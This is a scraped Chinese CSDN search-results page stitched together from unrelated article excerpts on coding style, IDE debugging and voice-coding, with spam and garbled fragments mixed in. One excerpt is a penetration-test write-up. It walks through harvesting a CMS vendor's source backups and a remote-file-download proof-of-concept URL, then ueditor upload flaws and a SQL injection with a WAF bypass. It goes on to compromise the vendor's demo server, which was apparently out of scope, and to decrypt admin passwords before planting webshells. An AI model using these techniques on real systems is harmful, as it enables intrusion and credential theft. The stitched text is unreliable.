精华内容
下载资源
问答
  • 如何代码 —— 编程内功心法

    千次阅读 2017-08-29 21:07:06
    怎样写好代码 —— 编程独家心法 写代码就是学一门语言然后开始撸代码吗?看完了我的《GoF设计模式》系列文章的同学或者本身已经就是老鸟的同学显然不会这么认为。编程是一项非常严谨的工作!虽然我们自嘲为码农,...

    怎样写好代码 —— 编程独家心法

    写代码就是学一门语言然后开始撸代码吗?看完了我的《GoF设计模式》系列文章的同学或者本身已经就是老鸟的同学显然不会这么认为。编程是一项非常严谨的工作!虽然我们自嘲为码农,但是这工作毕竟不是真正的搬砖,我们是软件工程师。编程需要关注的问题太多,不仅仅有语言,还有算法、数据结构、编程技巧、编码风格、设计、架构、工程化、开发工具、团队协作等方方面面,涉及到很多层面的问题。本文将分享一下根据我这几年来的编程经验总结出的一些关于如何写代码的个人见解。

    由于“跟我混”的一些小伙伴编程功底相对来说比较薄弱,所以在此总结一篇“编程内功心法”帮助他们渡过职业生涯的第一个瓶颈期。顺便,也造福一下路过的有缘的同学!于是有了此文。

    前言

    首先,思考一个问题,何谓编程?编程就是写代码吗?

    所谓的编程,其实就是不断的对这个现实世界中的问题建立模型并将其固化为代码自动化执行的过程。

    ~ Bug辉 《GoF设计模式 - 解释器模式》

    在对问题建立模型的过程中,我们会遇到非常多不同层面的问题,所以我们需要很多领域的知识去解决这些问题。

    • 我们需要管理被操作的数据,因为数据与数据之前是相互有关联的。将数据结构化,通常是编程的第一步。关于结构化数据的相关理论以及实践,需要有一个专门的学科分支或者说课题去研究——数据结构

    • 我们需要解决一个具体的问题,这个具体的问题如何一步步去解决,过程是怎么样子的——算法

    • 我们需要将解决方案进行自动化,并以代码的形式进行交付——编程语言

    • 如果将一个抽象的模型进行编码实现,如何实现“这个功能”,如何实现“那个功能”——编程技巧

    • 问题的规模大了,众多代码糅合在一起,连程序员自己都看不懂了!怎么来拆分、模块化这些代码——设计

    • 代码量已经到了一个人无法完成的地步了,需要团队分工合作才能完成了——工程化

    • 你写的代码我看不懂,没法调用或者很难调用,我写的代码你也看不懂,或者很难看懂。还怎么愉快的玩耍——编码风格/编码规范

    • 问题的规模继续扩大,到了系统工程的规模了,之前学的套路已经不管用了!怎么来构建这个系统才能实现正确、安全、高性能、高可用——架构

    然而这些也只是一个系统工程中的冰山一角!这是一个庞大的体系。也正是因为软件开发需要考虑到的问题太多且团队成员水品参差不齐,所以团队开发中并不是每个程序员做的事情都是一样的。每个人都有自己的角色、初级工程师、中级工程师、高级工程师、架构师、CTO。。。

    所以编程不仅仅只是堆砌代码!

    说到这里,我想起来了一件事情——为啥业界普遍鄙视培训出来半道出家的新人?人与人的区别是很大的!我见过培训出来也很牛的。其实,说到底,被鄙视的并不是所有人。而是那些培训了几个月之后发现随便找个工作也能拿“高薪”然后还自认为编程很简单的新人。因为这种经历给了他们一种错觉——编程如此简单,我培训几个月也会嘛!有点像刚学会开车的新司机,很嚣张的对老司机说“开车很简单嘛!你看我也会啊!”。语言和开发工具只是招式,这是外功。而编程思想、经验是内功。这些内功并不是靠短短几个月的培训能够掌握的,这一点有点像中国制造业和日本制造业的区别。动不动赶英超美可不好。。。

    编程并不简单!这是一件很严肃的事情。不过今天,我没有办法介绍完所有的方面!或者说,到今天为止,我也并没能掌握所有领域的知识。所以今天我只是分享一些关于编码本身的一些经验。

    另外,本文主要分享如何写代码,并不是如何用Java写代码。所以文章中各种语言都有可能出现。


    编码风格

    先来一个圈内的段子。

    大部分程序员在工作中都很讨厌这四件事情:

    1. 写注释

    2. 写文档

    3. 别人不写注释

    4. 别人不写文档

    o(∩_∩)o 哈哈。。中枪了没!

    这个段子其实反映出来一个问题,即大部分代码都需要通过大量注释和文档来说明才能将意图传达给维护这些代码的程序员!然而,就像上面的段子说的那样,写大量的注释和文档其实是一件很麻烦的事情。所以很多时候,由于嫌麻烦,注释和文档就没写,导致维护代码的人相当的痛苦。这个苦同学们肯定都是体会过的!相当于给你个精密仪器要你维护还不给说明书。

    其实,打破上面那个段子描述的那个怪圈的一个很有效的手段就是统一编码风格。优秀的代码可以实现代码即注释,代码本身就可以非常清晰的体现出它的意图来,让别人可以很容易读懂。这就是所谓的可读性!


    命名

    计算机科学领域中最难的两件事是命名和缓存失效!命名并不简单,很复杂。好的名字可以见名知意,非常容易理解。之所以说命名难是因为命名的过程同时也是概念提取的过程!对问题建立模型,需要提取概念并赋予其“术语”。这个过程其实是“万里长征”中最难的一步。毕竟,设计也好,架构也罢,都有成熟的套路可以参考。唯独这个过程,是需要程序设计者自己进行充分的思考的创造性工作!

    以下是总结出来的一些命名经验:

    • 一个类是某物、某事、某人的抽象,是数据与行为的集合体。这恰好符合名词的定义,因此 类名 是一个名词!

    • 方法名 或者说 函数名 是某操作或者某过程的抽象,是一个动作。这恰好符合动词的定义,因此函数名通常是一个动词。

    • 变量名宁可长一些说明清楚用途也不要用a、b、c之类的无意义的名称,除非是循环计数器中用i、j、k等约定俗成的一些变量名。比如pageIndex和pageSize就要比取名成i和s好!取成这种和用混淆器混淆过后的代码一样的名称没有什么好处,如果算法比较复杂的话,过一段时间恐怕自己都会看不懂。

    • 变量名最好包含变量本身的业务含义。比如ListstudentList = new ArrayList<>();就比Listlist = new ArrayList<>();好很多。如果同一段代码里再出现一个List的话,这样就可以很方便的取名为teacherList或者teachers而不是list1和list2这样的毫无意义的名称!


    英文不好怎么办

    这个问题怎么说呢。。

    作为一名程序员吧,基础的英文还是要懂的。要不然发展也容易遇到天花板,学不好编程的。毕竟,最新的技术、解决方案、工具都是从国外传过来的。如果是解决一些基础性的问题,每天只做做CRUD,好像英文确实不怎么用得上。但是一旦遇到一些实质性问题,恐怕只能到英文网站上找喽!ㄟ(▔ ,▔)ㄏ 不要跟我说你编程可以不需要Stack Overflow。copying and pasting from stackoverflow 可是终极编程大法!o(∩_∩)o 这句话可是编程的真谛啊!(如果你看不懂这个梗那你有可能是伪程序员)

    其实,话说回来,实在不方便用英文的时候,我认为也可以用拼音命名。这个问题上可以务实一点,量力而行。但是,拼音和英语混用的做法就不太好了。最好别这样!逼格不高。


    注释

    怎么添加代码注释

    关于注释,我们需要解决的第一个问题是如何添加代码注释。

    对于Java、C#之类的语言,有专用的文档注释语法,很好处理。对于C/C++,则按约定的格式说明一下类和函数、代码片段的作用和意图即可,至少编译器会进行静态检查。在Python中,有更牛逼的文档字符串这样的语言级特性支持,看注释用help()很方便。不过对于Lua这样的弱类型解释型语言,注释就比较难处理了。这里以Lua为例给出一种注释的解决方案。

    借用Java语言文档注释的风格。

    文件注释,或者说类/模块注释。

    怎样写好代码——编程独家心法

    函数注释

    怎样写好代码——编程独家心法

    tips: Lua中可以通过metatable机制实现类和继承,这一点与Javascript通过原型机制来实现类和继承有点类似。

    注释里该写些什么

    我们首先来看个反例。

    怎样写好代码——编程独家心法

    首先这个方法名本身就取得不好,这个暂且不说,先说注释问题。这里的注释犯了几个错:

    1. 方法注释为“查询”,这简直就是废话!方法名已经告诉别人这是查询方法了,还在这个注释里写这两个字有什么意义呢?而且到底查询些什么这里也没说!

    2. 参数没有注释。没有描述每一个参数的意义以及取值范围等!

    3. 什么情况下会抛出PageIndexOutOfBoundsException没有描述清楚。

    4. “定义一个整型变量”这种垃圾注释就不要写了,这么简单的语句谁看不懂啊!如果要注释,也是写上这个变量的含义。

    这里我们先不考虑设计问题(分页索引号最好做成可以自己调整成合理值),下面再来看改善注释之后的代码。

    怎样写好代码——编程独家心法

    改完之后的注释有没有感觉信息更全很多!虽然说代码本身就是最好的注释,但是必要的注释还是得写上去,毕竟调用的时候别人没法猜测你的索引号到底从0还是从1开始。另外,如果函数内算法比较复杂,可以在代码块内注释,也可以在函数注释上直接写清楚这个函数内部的大概算法/逻辑。代码写出来就是给别人调用的,如果没有基本的注释信息,那么每次调用你的代码的时候,都得去看一下你的函数内具体逻辑才能知道怎么调用。这显然是非常低效的!

    命名与注释这两个基本方面没做好的话,会影响到整个团队的运作。也就是说,你封装的东西并没有给队友节省什么时间,别人用到你的代码的时候,又需要花上一些时间去读你的代码。如果团队里每个人都这样,那整个团队都会极其低效。我个人是非常不愿意与这种代码风格恶劣的人合作的。


    参考规范

    关于编码风格的问题,本文只说命名和注释这两个方面。关于缩进、空格、断行、空行等其他方面的问题,可以参考本节给出的参考规范。

    不同的企业会有不同的编码规范,所以这里没有办法给出一个符合所有公司的规范。不过制定自己团队的规范的时候,可以参考一些大企业的做法。以下是世界上最大的互联网公司谷歌的编码规范,同学们可以参考这个。

    • Google Java Style Guide

    • Google C++ Style Guide

    • Google Python Style Guide

    • Google HTML/CSS Style Guide

    • Google JavaScript Style Guide


    异常处理

    异常与返回值有什么不同

    在C语言中,我们的函数通常会返回一个整型值作为状态码用于通知客户端调用的结果。比如0表示成功,非0表示失败。并且可以通过不同的数值来表示不同原因导致的失败。然而在Java、C#、C++一类面向对象语言中,一般不会用返回值来表示状态。返回值一般用于表示返回的业务值,而异常用于通知客户端程序运行状态改变了。

    什么时候需要抛出异常

    关于这个问题,我想到了一句极其精炼的话:当函数无法完成宣称的任务的时候抛出异常!

    比如上面的那个日子,当listArticle方法由于种种原因无法查询出文章列表的时候,则抛出异常。

    抛出异常在这种场景下是非常有必要的,因为这样其他人调用你的代码时可以非常放心的去调用,只要调用了你的方法,就会返回文章列表。如果无法返回文章列表,则会抛出异常。完全不用在调用这个函数的时候去怀疑是否执行成功了。

    再来一句至理名言:

    宁愿终止程序也不要带错运行下去。

    也就是说,遇到错误的时候,宁愿抛出异常终止程序,也不要带着错运行下去。这是在掩耳盗铃!

    异常需要携带什么信息

    首先,异常的类型本身会带有异常种类信息。其次,异常的message属性可以带上更详细一些的信息。这里需要注意,千万不要像下面这么做。

    怎样写好代码——编程独家心法


    抛出异常了肯定是执行失败了呀!带上这种信息有什么用,不是带了一句废话嘛!

    应该是下面这样

    怎样写好代码——编程独家心法


    日志

    谈到日志,首先要搞清楚一个问题,日志是干嘛用的?

    用来记录运行时的错误信息啊!

    是啊。好像大家都知道日志是干什么用的,但是为什么写起代码来就会忘记初衷呢!

    来看看代码:

    怎样写好代码——编程独家心法

    这里的代码是什么意思呢?程序员们应该都能明白的!很显然,这位程序员是想借助这些标记来调试,想知道代码到底执行到哪一行了。但是,这里很明显地犯了两个错。

    1. 为什么是System.out.println("");而不是logger.debug("");?

    2. 为什么是1、2而不是一些更明确的文字信息呢?

    在这里,合理的方式是下面这样。

    怎样写好代码——编程独家心法

    我想给正在犯上面的错的同学提个醒:

    1. 使用日志框架,并用合适的级别输出日志非常重要。

    好多程序员从来不负责也不参与运维相关的工作,甚至是做了好几年的Web都从来没有自己发布过网站。所以压根没有后期维护的意识!

    如果没有这些日志,当项目上线之后,运维的背锅侠兄弟发现网站挂了之后只能直接重启,然后当作什么也没看到。因为没有排错的线索。

    2. 输出有效信息。

    不要去输出一些像1、2、3、成功、失败、hello这样的毫无意义的日志,要输出logger.debug("邮件发送任务成功入队。任务id:" + taskId);这样的有效信息。

    也许当时你调试的时候,在你看来这些奇怪的字符串是有意义的,但是在其他人看来,这些就是天书。运维的背锅侠会提刀过来砍你的!另外像"-------开始执行--------"这种对运行期间定位问题没有半点好处的日志就不要输出了!自己用可以,提交代码前一定要删掉。

    3. 日志中带上上下文信息。

    孤立的一句错误日志通常没有什么实际作用。比如上面的例子中,如果在找不到指定的模板文件的时候未将发送邮件时指定的模板文件名输出,那么排错的时候无法知道到底是少了哪个模板文件。

    4. 不要在日志中输出用户的敏感信息。

    千万不要在日志中输出像用户密码、邮件内容之类的涉及用户隐私的敏感信息,也不要去输出像验证码的值之类的敏感信息。


    参数校验

    在你对外公开的方法前先插入一些检查参数的代码,以确保方法被“正确的姿势”调用。比如:

    怎样写好代码——编程独家心法

    参数校验的作用

    如果在对外公开的重要方法开始的位置不插入校验参数的代码,有时恐怕方法需要运行到方法内部比较深的位置才会抛出一个异常来。而且那种情况下,抛出的异常可能就会有各种各样的了。比如空指针、除零异常等。

    这种情况下,很难一眼看出引发这个异常的根源是参数传错了。需要对你的代码进行一番调试才行!如果一开始就在代码的入口插入了校验参数的代码,那么调用的时候,一眼就能看出来是参数传错了导致了一个异常。这样其他程序员看到这个异常之后就会去看一下你的方法注释。他一看,哦!原来分页索引号是从1开始计数的,那么这个问题就会就此打住,给团队节省了时间。

    参数校验问题是会影响团队运行效率的一个很关键的因素。所以,请同学们重视起这个问题来。我们都是工程师,团队作战的,自己写代码快不叫快,整个团队快起来才叫真的快!用好断言,可以让你的代码更健壮。

    tips: Java中默认断言是不开启的,所以建议无视Java语言的断言,自己处理。

    什么时候需要进行参数校验

    我认为一个方法或者函数在满足以下条件时有必要进行参数校验:

    1. 方法或者函数是对外公开的,不是私有的。

    2. 参数有可能为空指针的时候。

    3. 参数的合理值无法通过方法名、参数名、参数类型一眼看出来的时候!比如上面那个pageIndex是从1开始计数的,但别人并不知道你是从1开始计数的。

    如果对每一方法都进行校验的话,其实挺麻烦的。程序员的时间是很宝贵的,没这么多闲工夫。不过在满足上面条件的情况下,最好还是校验一下。因为做了这个校验,你自己是会稍微浪费几分钟的时间,不过从团队整体来看,总的调试损耗的时间却降下来了。要记住方法/函数写出来就是给别人调用的!

    参数校验需要做到什么程度

    我有一个标准,就是把自己当成调用这些代码的那个人,把自己想象成有可能以任何“姿势”调用的菜鸟(实际上也有可能是不了解你的代码的大牛)。如果这个时候自己也有可能会犯某些错(比如没注意边界值,没注意是否可空),那么这个时候是必须要做校验的。对于一些已经在其他层做过处理不太可能有错误的值的情况,可以不做校验。比如你的UserService中有一个签名为public void register(User user)的方法,用于注册一个用户。这种情况下,可以只校验一下user参数是否为空,而不用对user的username、password属性进行校验(用户名密码长度是否合法等)。因为你在上一层控制器层模型绑定的时候已经做过非常严谨的校验了。当然,这里如果你有充足的时间,也可以校验一下。具体做到什么程度,还需要你根据情况去自己把握。


    后记

    编码规范就是用来约束别人的!

    o(∩_∩)o 哈哈!开玩笑的啦!

    其实很多时候,出于各种原因,如“项目周期紧”、“项目还在探索阶段可行性未知,先实现了再说”、“项目中其他代码已经这样了,破罐子破摔”等,最终导致的结果可能就是我们这些自称“有经验”的程序员自己也不一定能写出完全符合这些理念的代码来。或许是吧!

    ㄟ(▔ ,▔)ㄏ

    我承认,我也写过奇葩代码。

    但是,这好像并不是你这个作为未来优秀程序员的人不思进取的理由。

    小时候,老师教我们要诚实,但是老师自己也不见得能完全做到。我们可以因为这个鄙视他。

    长大后,体验过了生活中会有很多的无奈,不再鄙视“不诚实”的老师。甚至低下了高贵的头,自己也变得那般模样。

    未来,你还会教育你的后代“要诚实”吗?

    恐怕会! 因为,优秀的理念,不管结局如何,都应该去提倡!

    本文的观点仅代表现在的我,人是会成长的,明天的我或许又会有新的见解! 如果你不认同部分观点或者还有其他的优秀理念,可以给我留言。我们一起成长!


    展开全文
  • 欢迎点击「算法与编程之美」↑关注我们!本文首发于微信公众号:"算法与编程之美",欢迎关注,及时了解更多此系列文章。发现错误我们在编写代码的过程中会遇到许许多多的错误,这个...
        

    欢迎点击「算法与编程之美」↑关注我们!

    本文首发于微信公众号:"算法与编程之美",欢迎关注,及时了解更多此系列文章。

    发现错误

    我们在编写代码的过程中会遇到许许多多的错误,这个时候我们怎么去发现并修改这些错误呢?就例如我们在IDEA中编写java代码时所遇到的错误,我们怎么以最高的效率去修改这些代码中遇到的错误呢?

    解决方案

    我们很多人可能用的是不同的编译器,但犯错的原理大概都是一样的。今天我们来以IntelliJIDEA这个软件为例。当我们在编写代码遇到错误时系统会自动在代码的下面画上一个红色的波浪线,如果修改过错误提示颜色则会提示相应的颜色。

    640?wx_fmt=png

    就像图片上所显示的红色一样,这样我们就能知道是哪里有错误了。我们解决这些错误主要有三个步骤:

    我们找到每个报错的地方,然后将鼠标的光标放在上面。

    当我们将鼠标的光标放在上面的时候系统就会提示出你的错误类型,我们只要经过简单的翻译就知道为什么报错啦!当然下面的蓝色字体也是提供的一些解决办法,有时候我们也可以按照蓝色字体的提示来解决我们所遇到的问题。

    640?wx_fmt=png

    第三步也是最重要的一步,当我们知道为什么报错的时候就要想办法去解决这个问题。就像图中所示的错误,cannot resolve symbol ‘name’我们通过简单的翻译就知道这个错误是因为‘无法解析符号的名称’,所以我们检查一下前后的代码的嵌套是否有错误。

    640?wx_fmt=png

    我们通过简单的检查就能够发现其中的错误,就能够将这个问题解决掉。

    结语

    我们在编程的过程中难免会遇到问题,当我们遇到问题时要积极面对,第一时间通过正确的办法去解决掉这个问题。这样不仅可以增加自己的知识也可以提升自己解决问题的能力。遇到问题并不可怕,可怕的是害怕遇到问题!

    END

    主  编   |   张祯悦

    责  编   |   桂   军

     where2go 团队


       

    微信号:算法与编程之美          

    640?wx_fmt=jpeg

    长按识别二维码关注我们!

    温馨提示:点击页面右下角“写留言”发表评论,期待您的参与!期待您的转发!

    展开全文
  • 双手无法敲代码的程序员,该如何编程

    千次阅读 多人点赞 2019-08-22 19:55:19
    对于程序员来说,敲代码编程工作中不可缺少的“仪式”。那么如果是身患残疾、抑或是无法通过手部来编码的人群来说,又如何突破这道最基本的防线呢?本文的作者就是一位罹患手部疾病的开发人员,他通过自己的切身...

     

    640?wx_fmt=gif

    对于程序员来说,敲代码是编程工作中不可缺少的“仪式”。那么如果是身患残疾、抑或是无法通过手部来编码的人群来说,又如何突破这道最基本的防线呢?本文的作者就是一位罹患手部疾病的开发人员,他通过自己的切身经历表明,借助外部工具,即使身体方面有所欠缺,也能够成为合格的技术人员!

    声明:本文已获作者 Naomi Saphra 翻译授权。

    640?wx_fmt=jpeg

    作者 | Naomi Saphra

    译者 | 王艳妮,责编 | 郭芮

    出品 | CSDN(ID:CSDNnews)

    以下为译文:

    2015年8月,我的手无法继续工作了。我仍可以控制自己的手,但是每个动作都会积累更多的痛感,所以每一步都很艰难:比如早上起来穿衣服,发条短信,甚至仅仅是拿起个杯子。

    那年夏天我在谷歌实习,即将开始在苏格兰攻读博士学位,但整天写代码的生活让我痛苦不已。在诉说这个故事时,我经常提到,在我学会如何不用双手实现编程之前的很多个月,那段时间我没有事干,唯一能做的事就是去酒吧点一杯伏特加,还要用吸管来喝,现在想想挺好玩的。

    我已经被疾病困扰四年了。

     

    640?wx_fmt=png

    Talon

     

    由于这种残疾,我无法用手打字或写字。很多人问过我,是哪些东西让我在手部疾病的限制下仍然保持高效工作的?我希望我的经验之谈对于那些症状比我更重和更轻的人都能有所帮助。那些症状比较轻的人往往只是有轻微的机械劳损,减少键盘的使用就能使他们的情况改善。

    此处登场的明星就是Talon(https://talonvoice.com/)了,这个系统可以让你轻松编写自定义语法和脚本,与语音识别系统配套以实现编程。指令的范围从简单的常用符号别名到复杂的元命令,它们重复先前的话或改变听写模式。举个栗子,就括号而言,我对(,),(),和()⬅️都有单独的指令(将光标留在括号之间,以便我说的下一句话被括起来)。

    每个Talon用户都有许多私人脚本。我写的最宝贵的脚本可能是我带索引的剪贴板:

    640?wx_fmt=png

    用法很简单。在使用我的光标控制(my cursor control)命令选择一个特定的短语后,我会说“clip [foo]”(复制),每次我想输入相同的短语后,再说“paste [foo]”(粘贴)。因此,对于一个特别讨厌的变量名,我只需要录入一次。但是,这确实引入了一个新难题:每个变量都有两个名称,即其书面名称和口头名称。这种不幸的副作用加大了给变量命名的难度,这被称为“计算机科学中最难的问题”。

    如果你是Vim或Emacs的高级用户,你可能会对这些感到熟悉。我有针对搜索、移动光标、选择和操纵剪贴板的指令。学习如何听写代码的过程非常类似于彻底地学习一个新的文本编辑器,都一样归结于自定义你的特定语言和需求这个挑战。

    Talon社区有依据不同应用程序或编程语言生效的专用指令。比如,对于Perl用户,借鉴Emily Shea的设置可以作为一个不错的起点:

    640?wx_fmt=png

    (完整版视频可点击:https://youtu.be/Mz3JeYfBTcY)

     

    我的Talon设置的语音识别方面是依赖Dragon来进行的。不幸的是,Nuance已停止了OSX Dragon支持脚本语言的版本。

    Talon背后的开发者,Ryan Hileman,正在着手一个合适的替代品,但在我写本文时,这个应用还未面世。

    一个小插曲

    人们经常问我疾病的诊断是什么,但严格来说这取决于我身处哪个国家。在初步假设是腕管的毛病后,美国的风湿病专家给了我第一个诊断:弯管综合征,俗称鼠标手,这个词在医生的词典里意思就是“你走吧”。

    但我并没有走。一位神经科医生对我进行了皮肤活检,然后我在美国的官方诊断就变成了“特发性小纤维神经病变”(idiopathic small fiber neuropathy),意思就是说我缺少传递热量和疼痛的关键神经纤维,但却没有人知道病因。特发性(idiopathic)在医生的词典里也是“你走吧”的意思。

    然后我去了英国。我带去了在美国的医疗记录,但我的英国神经科医生没有看我的医疗记录或给我进行体检。在简短的谈话之后,他给我一张写着他找不到任何生理原因的纸条,这就是我在英国的诊断,并且他“怀疑有重要的功能叠加”,这就是医学院里的老师教的,如何委婉表达某人有妄想症时的一套说辞。

    我的全科医生看了纸条以后告诉我,他是不会给我开止痛药的,也不会让我去找神经科医生重新检查一次,也不会建议我去寻求任何其他专科医生的治疗。他只会介绍我去心理医生那里来帮助我“消解我痛苦背后的根源性问题”。

    然后我说了句“NTM的”,他就把我从办公室里撵出去了。大堂里倒是的确挂着“禁止骂人”的标语。

     

    640?wx_fmt=png

    装备

     

    用语音听写的过程中,我使用的是两种不同的麦克风。在办公室,我用的是Sennheiser ME-3,而在旅途中,我用蓝牙耳机,Sennheiser MB Pro 2。

    另一个对我来说很重要的设备是我的脚踏板,我用的是PageFlip Firefly。它可编程,所以我修改了设置,包括一个对于在Skim上阅读有用的设置,左踏板对应一下单击,右踏板对应一个下箭头。我可以用脚来控制滚动条,以及进行点击来注释。我添加的另一个踏板设置将某踏板操作对应到单击并shift + enter,这个设置对于Jupyter Notebook以及在Quiver中记录我的研究笔记和数学演算非常有用。

    当我的手的情况变得异常糟糕时,我没法移动鼠标,我需要使用shortcat,它可以让我通过语音指示键盘而不必使用鼠标就能按下按钮。

    最后一件必备的装备是一对大护腕。我的护腕主要用途是阻止我习惯性地去使用自己的手,我总是在会议上戴上它们,因为这样比不断地重复“我的手有残疾所以无法握手”这句话更简单一些。

    另一个小插曲

    我经常做各种噩梦,梦见我的大拇指断掉了,梦见我手上的每根骨头都断裂,梦见我的手臂上爆发出大片的流血伤口......然而每次睡觉醒来,留下来的疼痛感仍然像一场看不见的噩梦。

     

    640?wx_fmt=png

    限制

     

    也许有些讽刺的是,如果你开始用语音听写代码了,最让人担心的是你是否会使你的声道产生机械劳损。静静地说话实际上可能会造成更大的伤害,多喝水很重要,良好的姿势可以防止你的声音以及身体的其他部分受到伤害。我强烈建议去找一位,教演员和歌手如何保护自己声音的声乐教练。

    工作间隙的休息时间是很重要的,而且你可能会觉得在工作之余,说话变成一件很累人的事情。

    语音识别技术并不完美,如果你有特殊口音,错误率会更高。此外,每次出现感冒或喉咙痛时,你可能都无法编程。所以我对轻微的小感冒都很畏惧。

    拥有一个私人空间来进行语音听写是很重要的。我无法在家高效工作,但是自从我有了一个私人办公室,我好几个研究项目的前进势头就迅猛了起来。我知道这对许多人来说是一个巨大的限制,因为当今兴的是那种破坏生产力、令人窒息的开放式办公。

    如果你的工作场所已成为这一趋势的牺牲品,你可能也还有别的选择。在许多国家,如果你有残疾,大公司将有义务为你提供私人工作空间。

    附录

    我的残疾生活并不容易,但由于享乐适应原理以及令人满意的工作和爱好,我其实觉得过得挺开心的。如果你最近罹患某种残疾或慢性疼痛,可能会觉得你永远也无法适应患病的那种生活方式。这就是为什么我试图跟你讲述我遇到的挑战以及我的成功。对于那些已经克服逆境的人,人们往往有两种反应:“这件事情原本就不那么难”或“我永远也做不到”。你要越过这两种反应。这件事情确实很难——但你能做到。

    如果你目前身体健全,请对身边的残疾人,不论是同事还是其他人,只要你有能力帮助他们,就对他们有价值且充实的工作给予支持吧。我鼓励其他残疾科学家和开发者在遇到任何问题时与我联系。

    原文:http://nsaphra.github.io/post/hands/

    作者:Naomi Saphra,爱丁堡大学机器学习PhD在读。

    【END】

    90%的程序员学Python这么认为:

    https://edu.csdn.net/topic/python115?utm_source=csdn_bw

    640?wx_fmt=jpeg

     热 文 推 荐 

    ☞ 重磅!全球首个可视化联邦学习产品与联邦pipeline生产服务上线

    ☞ 语音识别技术简史

    ☞ 物联网成网络安全防护新重点!

    10 步教你接手同事的代码!

    ☞亚马逊首席科学家李沐国内首次亲授「深度学习实训营」

    CSDN & 火星财经, 联手发起Libra超级节点竞选!

    "学了阿里中台,却依然做不好系统?" 聊聊阿里的项目管理

    如何写出让同事无法维护的代码?

     

     

     

     

     

    
     

     

     

     

     

     

     

    640?wx_fmt=gif点击阅读原文,输入关键词,即可搜索您想要的 CSDN 文章。

     

     

     

     

     

    640?wx_fmt=png

    你点的每个“在看”,我都认真当成了喜欢

    展开全文
  • 那么构造POC: 如果你也想成为程序员,想要快速掌握编程,赶紧关注小编加入学习企鹅圈子吧! ash删x/api.ashx?m=do删wnloadfile&FilePath=删asmx.jpg&WebUrl=删ht删tp://***.cn/  访问地址: 文件存在,那么证明可行...

    使用关键词得到目标源码

    前言:对某网站进行渗透测试,此次渗透给的是一个主域名,并且也没有子域,打开了目标网站先对其进行一波信息收集

     

    中间件: IIS 8.5

     

    输入admin发现自动添加了/

    说明其目录存在,那么盲猜一波文件,login.aspx default.aspx main.aspx 等等

     

    最终在login.aspx下面发现后台登录页面。这不猜他一波弱口令??

    一顿操作过后账号被锁

     

    熟悉的开局,既然如此只能尝试其他方法了。

    在主页的html代码中发现了某处信息

     

    设计制作?根据后面的域名访问过去,是一个建站公司

    那么,入手点来了。IIS8.5+ASP.NET+建站系统

    先扫一波备份文件:

     

    400多条ip这开发商还行。使用FOFA查询工具,批量导出

     

    然后我们来扫一下备份文件。这里推荐我B哥的扫描器

    htt删ps://gith删ub.com/broke删n5/WebAl删iveScan

    可以进行批量存活扫描和目录扫描

     

    在好几个站下面发现web.zip备份文件。

    下载下来过后,对其目标站点文件进行了对比。基本一致

     

    拿到代码开始审计多次碰壁

    那么开始审计。

     

    在某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)

    由于该方法需要提供绝对路径。。比较头疼,但我跟踪相关参数。发现。

    在另一个方法中调用了该方法。

     

    并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了。

    那么构造POC:

    如果你也想成为程序员,想要快速掌握编程,赶紧关注小编加入学习企鹅圈子吧!

     

     

    ash删x/api.ashx?m=do删wnloadfile&FilePath=删asmx.jpg&WebUrl=删ht删tp://***.cn/

     

    访问地址:

     

    文件存在,那么证明可行

    回到目标地址:

     

    被修复了文件不存在

    继续回到代码中,审计其他漏洞在其他接口中,也均存在多个漏洞。如ueditor远程抓取漏洞

     

    文件重命名可Getshell

     

    但是这些接口都需要登录

     

    这就很头疼了,打算在一些无需登录的接口中尝试寻找SQL注入。

    最终在某处发现SQL拼接。

     

    但是这里调用了IsSafeSqlString检测

     

    常见符号基本被卡的死死的

    拿下开发商寻找通用账号逆向加解密算法

    由于都是使用了相同的建站程序,怀疑有程序内置账户

    于是准备通过刚才审计出来的漏洞。从同程序的站点入手

    最终在某个站点成功拿到Webshell

    看了下相关信息

     

    居然是厂商的演示站群,存了该开发商所有站点源码。

    应该是在开发过程中的演示环境吧站点有很多,估计每个客户都有。

    在服务器里翻到了目标站点的演示网站

     

    根目录下有zip网站备份和sql 数据库备份。

    如果说目标站点是直接搬迁过去的,那么后台账户密码应该是一样的。

    将其SQL文件下载下来。再其中搜索相关信息

     

    发现了插入账户的SQL语句。其密码是加密过的

     

    cmd5解不开,看了下密文是33位加密。

    但是登录过程中,密码是RSA加密过后传输的,而后端居然是33位的md5加密

     

    因为有源代码,追踪了一下登录了相关方法。

     

    密码传入后,调用了CommFun.EnPwd进行了一次加密。

    追踪EnPwd方法

     

    可以看到,传入进来的密码是RSA类型,先进行了一次RSA解密,然后进行了一次DES加密。

    追踪DESEncrypt.Encrypt方法。

     

    这里是将Encrypt方法封装了一下,并传入加密key。

    其核心加密方法为下:

     

    并且,在该类里。还定义了解密方法

     

    得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了。

     

    将得到加密字符进行解密,得到结果

     

    尝试登录

     

    忙活半天,白干了。

    柳暗花明拿下目标shell

    已经下午4点了。还是一无进展,准备尝试绕过SQL过滤。

    就在这时候,我发现了一处SQL注入点。

     

    某方法接收了两个参数,却只对一个参数进行了过滤。

    在目标网站上测验

     

    存在注入,发现存在waf使用垃圾参数填充成功绕过waf

     

    直接上sqlmap安心的跑,得到系统账户以及密文

    将得到的密文进行解密,得到结果

    尝试登录。这下总对了吧!

     

    终于进来了!!!!

    经过之前的审计,发现了很多接口都存在漏洞,现在成功登录了。岂不是随便getshell?

    直接ueditor带走。

     

    成功shell

     

    展开全文
  • 来源:算法与编程之美解决方案我们很多人可能用的是不同的编译器,但犯错的原理大概都是一样的。今天我们来以IntelliJIDEA这个软件为例。当我们在编写代码遇到错误时系统会自动在代码的下面画上一个红色的波浪线,如...
  • 如何成为一名编程高手—— 代码揭秘 告诉你
  • Facebook如何编程:扎克伯格亲自把关代码更新 http://www.sina.com.cn 2012年07月06日 11:46 新浪科技微博 工作中的扎克伯格  导语:美国科技博客网站BusinessInsider今日撰文揭开了Facebook程序...
  • 这个问题估计很多人都问过,也经常会想,“都说提高编程水平靠多打代码 问题是如何多打代码?” 这个估计是看了一万小时理论了吧,不过既然要看书就要看全,一知半解浪费时间还没有效果的(《刻意练习》《练习的心态...
  • Facebook如何编程:扎克伯格亲自把关News Feed算法代码更新      工作中的扎克伯格    导语:美国科技博客网站BusinessInsider今日撰文揭开了Facebook程序设计人员的神秘面纱。Facebook代码从...
  • 我的主要问题是:当遇到一个问题的时候,不知道怎么把他转化成代码  --------------  个人看法是:经验不足  建议:  1.抄代码:我以为,经验不足的人Ctrl+C , Ctrl+V完全是在浪费时间!!学不到什么东西...
